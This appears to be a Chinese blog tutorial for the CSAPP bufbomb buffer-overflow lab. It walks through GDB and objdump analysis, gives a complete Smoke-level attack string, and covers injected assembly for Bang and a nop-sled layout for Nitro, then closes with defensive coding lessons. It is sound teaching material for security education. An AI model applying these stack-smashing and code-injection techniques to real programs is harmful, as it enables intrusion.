保姆级教程:手把手教你用GDB和objdump搞定西工大CSAPP的bufbomb实验(附完整攻击字符串)

张开发
2026/4/12 5:24:45 15 分钟阅读

分享文章

保姆级教程:手把手教你用GDB和objdump搞定西工大CSAPP的bufbomb实验(附完整攻击字符串)
从零攻克CSAPP缓冲区溢出实验GDB与objdump实战指南第一次面对CSAPP的bufbomb实验时那种手足无措的感觉我至今记忆犹新。作为计算机专业学生理解缓冲区溢出不仅是课程要求更是日后开发安全代码的基础能力。本文将带你一步步使用GDB和objdump这两大神器彻底掌握缓冲区溢出攻击的底层原理与实践技巧。1. 实验环境与工具准备在开始实验前确保你的Linux环境已安装以下工具sudo apt-get install gdb binutils验证工具版本是否兼容工具名称最低版本要求检查命令GDB8.1gdb --versionobjdump2.30objdump --version提示建议使用Ubuntu 18.04及以上系统避免兼容性问题实验文件结构应如下所示bufbomb/ ├── bufbomb # 目标可执行程序 ├── makecookie # cookie生成器 └── hex2raw # 字符串转换工具2. 理解缓冲区溢出的底层机制2.1 栈帧结构可视化分析使用objdump反汇编查看关键函数objdump -d bufbomb bufbomb.asm在生成的汇编文件中定位getbuf函数08048d70 getbuf: 8048d70: 55 push %ebp 8048d71: 89 e5 mov %esp,%ebp 8048d73: 83 ec 28 sub $0x28,%esp 8048d76: 8d 45 d8 lea -0x28(%ebp),%eax 8048d79: 50 push %eax 8048d7a: e8 61 fc ff ff call 80489e0 Gets 8048d7f: b8 01 00 00 00 mov $0x1,%eax 8048d84: c9 leave 8048d85: c3 ret关键信息提取缓冲区大小sub $0x28,%esp→ 40字节返回地址位置ebp4缓冲区起始地址ebp-0x282.2 GDB动态调试技巧启动调试会话gdb bufbomb设置断点并查看栈帧(gdb) break *getbuf (gdb) run -u yourid (gdb) info frame典型栈帧布局内存地址内容大小ebp-0x28缓冲区起始40Bebp0x0保存的ebp值4Bebp0x4返回地址4B3. 分阶段攻击实战3.1 Smoke级别攻击目标使getbuf返回到smoke函数操作步骤定位smoke函数地址0x08048bde构造攻击字符串前40字节任意填充如全A接下来4字节保存的ebp可保持不变最后4字节smoke地址小端序\xde\x8b\x04\x08创建smoke.txt41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 /* 原始ebp */ de 8b 04 08 /* smoke地址 */转换并执行./hex2raw smoke.txt | ./bufbomb -u yourid3.2 Fizz级别进阶攻击需要注入cookie值作为参数获取个人cookie./makecookie yourid分析fizz函数参数位置08048c06 fizz: 8048c06: 55 push %ebp 8048c07: 89 e5 mov %esp,%ebp 8048c09: 83 ec 08 sub $0x8,%esp 8048c0c: 8b 45 08 mov 0x8(%ebp),%eax关键参数在ebp8位置构造字符串时需要额外覆盖这个位置。3.3 Bang级别代码注入需要编写汇编代码并转换为机器码创建bang.smovl $0x12345678, 0x804d138 push $0x08048c55 ret编译并提取机器码gcc -m32 -c bang.s objdump -d bang.o构造攻击字符串时将机器码放在缓冲区起始位置并将返回地址指向缓冲区起始。4. 高级技巧与调试经验4.1 处理地址随机化当遇到段错误时检查是否因地址偏移导致(gdb) x/20x $esp (gdb) p/x $ebp4.2 Nitro级别的特殊处理对于getbufn函数每次栈位置会变化需要采用nop sled技术确定最大ebp值范围在攻击代码前填充大量nop指令\x90计算跳转地址时取中间值典型结构[nop * 500][攻击代码][跳转地址]4.3 常见错误排查Segmentation fault检查返回地址是否有效Unexpected output确认cookie值是否正确传递工具报错确保hex2raw输入格式正确注意每次修改攻击字符串后建议完全重启bufbomb进程避免缓存影响5. 安全编程的启示完成这些攻击实验后我深刻理解了为什么现代编译器会默认添加栈保护机制。在实际开发中有几个关键防御策略始终使用长度受限的字符串函数如strncpy替代strcpy启用编译器的栈保护选项-fstack-protector对用户输入进行严格验证记得第一次成功完成Nitro级别时那种通过精心构造的字节序列就能控制程序执行流程的体验既令人兴奋又发人深省。这或许就是CSAPP实验设计的精妙之处——通过攻击者的视角才能真正理解如何做好防御。

更多文章